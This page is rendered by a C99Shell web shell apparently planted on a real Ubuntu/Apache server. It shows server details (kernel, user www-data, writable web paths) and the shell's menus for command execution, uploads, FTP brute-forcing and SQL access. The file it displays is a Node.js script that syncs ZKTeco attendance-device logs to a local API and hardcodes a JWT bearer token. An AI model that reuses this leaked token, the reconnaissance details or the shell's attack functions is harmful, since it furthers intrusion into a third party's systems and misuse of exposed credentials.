!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/beximco/mrp/mrp/checking/devices/   drwxrwxrwx
Free 13.1 GB of 57.97 GB (22.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     test.js (12.96 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
const ZKLib = require("zklib-js");
var { client } = require("../redisClient");
const axios = require("axios").default;

const port = 4370;
const token =
  "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwiaWF0IjoxNjYyNTQ1NjY3LCJleHAiOjE5NzgxMjE2Njd9.5lVlCpiqLqBmdASH-06JubosdJ4jmHwqkepXIkaGr3E";

const test = async () => {
  let zkInstance = new ZKLib("192.168.0.101", 4370, 5200, 5000);

  try {
    // Create socket to machine
    await zkInstance.createSocket();
    // Get general info like logCapacity, user counts, logs count
    // It's really useful to check the status of device
    console.log(await zkInstance.getInfo());
  } catch (e) {
    console.log(e);
    if (e.code === "EADDRINUSE") {
    }
  }

  const attendance_size = await zkInstance.getAttendanceSize();
  // zkInstance.clearAttendanceLog();
  console.log(attendance_size);

  if (attendance_size > 0) {
    var s = await zkInstance.getAttendances();

    if (s) {
      await zkInstance.clearAttendanceLog();
      const entries = Object.entries(s);
      // console.log(await entries);
      var data = entries[0][1];

      for (let index = 0; index < data.length; index++) {
        // const element = entries[0][1][0];
        const element = data[index];
        console.log(element.deviceUserId);
        var record_date = new Date(element.recordTime);
        console.log(element.recordTime);
        console.log(record_date);
        // record_date=record_date.to
        client.exists(element.deviceUserId, async function (err, reply) {
          if (reply === 1) {
            client.hgetall(element.deviceUserId, async function (err, object) {
              if (object.att_time) {
                console.log("CHECKED OUT!");
                const databody = {
                  card_no: object.card_no,
                  image: object.image,
                  user_id: element.deviceUserId,
                  visitor_name: object.visitor_name,
                  time: record_date,
                  status: "OUT",
                };

                const visitors = await axios.get(
                  "http://127.0.0.1:1337/visitors?phone=" + object.phone,
                  {
                    headers: {
                      Authorization: "Bearer " + token,
                    },
                  }
                );

                console.log(visitors.data[0].id);
                if (visitors.data[0].id) {
                  await axios.put(
                    "http://127.0.0.1:1337/visitors/" + visitors.data[0].id,
                    {
                      status: 3,
                    },
                    {
                      headers: {
                        Authorization: "Bearer " + token,
                      },
                    }
                  );
                }

                await axios.post(
                  "http://127.0.0.1:1337/registered-logs",
                  databody,
                  {
                    headers: {
                      Authorization: "Bearer " + token,
                    },
                  }
                );
                // console.log(response.data);
                await zkInstance.deleteUser(parseInt(object.uid));

                var logs = await axios.get(
                  "http://127.0.0.1:1337/logs?card_no=" +
                    object.card_no +
                    "&user_id=" +
                    element.deviceUserId +
                    "&_sort=id:DESC&_limit=1&returned=0",
                  {
                    headers: {
                      Authorization: "Bearer " + token,
                    },
                  }
                );

                if (logs) {
                  await axios.put(
                    "http://127.0.0.1:1337/logs/" + logs.data[0].id,
                    {
                      out_time: record_date,
                    },
                    {
                      headers: {
                        Authorization: "Bearer " + token,
                      },
                    }
                  );
                }
              } else {
                console.log("CHECKED IN!");
                // let e_dt = new Date();
                // e_dt.setSeconds(e_dt.getSeconds() + 15);
                // var end_date = e_dt.toISOString(); //interval end time
                client.hmset(element.deviceUserId, {
                  att_time: record_date,
                });

                const databody = {
                  card_no: object.card_no,
                  image: object.image,
                  user_id: element.deviceUserId,
                  visitor_name: object.visitor_name,
                  time: record_date,
                  status: "IN",
                };

                const logsBody = {
                  card_no: object.card_no,
                  user_id: element.deviceUserId,
                  image: object.image,
                  visitor_name: object.visitor_name,
                  entry_time: record_date,
                  phone: object.phone,
                  departments: object.department,
                  employee: object.employee,
                };

                const visitors = await axios.get(
                  "http://127.0.0.1:1337/visitors?phone=" + object.phone,
                  {
                    headers: {
                      Authorization: "Bearer " + token,
                    },
                  }
                );

                if (visitors.data[0].id) {
                  await axios.put(
                    "http://127.0.0.1:1337/visitors/" + visitors.data[0].id,
                    {
                      status: 2,
                    },
                    {
                      headers: {
                        Authorization: "Bearer " + token,
                      },
                    }
                  );
                }

                await axios.post(
                  "http://127.0.0.1:1337/registered-logs",
                  databody,
                  {
                    headers: {
                      Authorization: "Bearer " + token,
                    },
                  }
                );

                await axios.post("http://127.0.0.1:1337/logs", logsBody, {
                  headers: {
                    Authorization: "Bearer " + token,
                  },
                });
              }
            });
          } else {
            console.log("no data in redis");
          }
        });
      }
    }
  }

  // await zkInstance.getRealTimeLogs((data) => {
  //   // do something when some checkin
  //   console.log(data);

  //   // client.exists(data.userId, async function (err, reply) {
  //   //   if (reply === 1) {
  //   //     client.hgetall(data.userId, async function (err, object) {
  //   //       if (object.att_time) {
  //   //         var current_date = new Date();
  //   //         if (
  //   //           Date.parse(current_date) > Date.parse(object.double_punch_time)
  //   //         ) {
  //   //           console.log(current_date);
  //   //           console.log(object.double_punch_time);
  //   //           console.log("Exists!");
  //   //           const databody = {
  //   //             card_no: object.card_no,
  //   //             image: object.image,
  //   //             user_id: data.userId,
  //   //             visitor_name: object.visitor_name,
  //   //             time: new Date(),
  //   //             status: "OUT",
  //   //           };
  //   //           // await axios
  //   //           //   .delete(
  //   //           //     "http://127.0.0.1:1337/visitors/user_id=" + data.userId,
  //   //           //     {
  //   //           //       headers: {
  //   //           //         Authorization: "Bearer " + token,
  //   //           //       },
  //   //           //     }
  //   //           //   )
  //   //           //   .then(async function (response) {
  //   //           // handle success

  //   //           const visitors = await axios.get(
  //   //             "http://127.0.0.1:1337/visitors?phone=" + object.phone,
  //   //             {
  //   //               headers: {
  //   //                 Authorization: "Bearer " + token,
  //   //               },
  //   //             }
  //   //           );

  //   //           console.log(visitors.data[0].id);
  //   //           if (visitors.data[0].id) {
  //   //             await axios.put(
  //   //               "http://127.0.0.1:1337/visitors/" + visitors.data[0].id,
  //   //               {
  //   //                 status: 3,
  //   //               },
  //   //               {
  //   //                 headers: {
  //   //                   Authorization: "Bearer " + token,
  //   //                 },
  //   //               }
  //   //             );
  //   //           }

  //   //           await axios.post(
  //   //             "http://127.0.0.1:1337/registered-logs",
  //   //             databody,
  //   //             {
  //   //               headers: {
  //   //                 Authorization: "Bearer " + token,
  //   //               },
  //   //             }
  //   //           );
  //   //           // console.log(response.data);
  //   //           await zkInstance.deleteUser(parseInt(object.uid));

  //   //           var logs = await axios.get(
  //   //             "http://127.0.0.1:1337/logs?card_no=" +
  //   //               object.card_no +
  //   //               "&user_id=" +
  //   //               data.userId +
  //   //               "&_sort=id:DESC&_limit=1&returned=0",
  //   //             {
  //   //               headers: {
  //   //                 Authorization: "Bearer " + token,
  //   //               },
  //   //             }
  //   //           );

  //   //           if (logs) {
  //   //             await axios.put(
  //   //               "http://127.0.0.1:1337/logs/" + logs.data[0].id,
  //   //               {
  //   //                 out_time: new Date(),
  //   //               },
  //   //               {
  //   //                 headers: {
  //   //                   Authorization: "Bearer " + token,
  //   //                 },
  //   //               }
  //   //             );
  //   //           }
  //   //           // })
  //   //           // .catch(function (error) {
  //   //           //   // handle error
  //   //           //   console.log(error.message);
  //   //           // });
  //   //         } else {
  //   //           console.log(current_date);
  //   //           console.log(object.double_punch_time);
  //   //           console.log("DOUBLE PUNCH");
  //   //         }
  //   //       } else {
  //   //         console.log("ENTRY");
  //   //         let e_dt = new Date();
  //   //         e_dt.setSeconds(e_dt.getSeconds() + 15);
  //   //         var end_date = e_dt.toISOString(); //interval end time
  //   //         client.hmset(data.userId, {
  //   //           att_time: data.attTime,
  //   //           double_punch_time: end_date,
  //   //         });

  //   //         const databody = {
  //   //           card_no: object.card_no,
  //   //           image: object.image,
  //   //           user_id: data.userId,
  //   //           visitor_name: object.visitor_name,
  //   //           time: new Date(),
  //   //           status: "IN",
  //   //         };

  //   //         const logsBody = {
  //   //           card_no: object.card_no,
  //   //           user_id: data.userId,
  //   //           image: object.image,
  //   //           visitor_name: object.visitor_name,
  //   //           entry_time: new Date(),
  //   //           phone: object.phone,
  //   //           departments: object.department,
  //   //           employee: object.employee,
  //   //         };

  //   //         const visitors = await axios.get(
  //   //           "http://127.0.0.1:1337/visitors?phone=" + object.phone,
  //   //           {
  //   //             headers: {
  //   //               Authorization: "Bearer " + token,
  //   //             },
  //   //           }
  //   //         );

  //   //         console.log(visitors.data[0].id);
  //   //         if (visitors.data[0].id) {
  //   //           await axios.put(
  //   //             "http://127.0.0.1:1337/visitors/" + visitors.data[0].id,
  //   //             {
  //   //               status: 2,
  //   //             },
  //   //             {
  //   //               headers: {
  //   //                 Authorization: "Bearer " + token,
  //   //               },
  //   //             }
  //   //           );
  //   //         }

  //   //         await axios.post(
  //   //           "http://127.0.0.1:1337/registered-logs",
  //   //           databody,
  //   //           {
  //   //             headers: {
  //   //               Authorization: "Bearer " + token,
  //   //             },
  //   //           }
  //   //         );

  //   //         await axios.post("http://127.0.0.1:1337/logs", logsBody, {
  //   //           headers: {
  //   //             Authorization: "Bearer " + token,
  //   //           },
  //   //         });
  //   //       }
  //   //     });
  //   //   } else {
  //   //     console.log("no data in redis");
  //   //   }
  //   // });
  // });
};

test();

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0134 ]--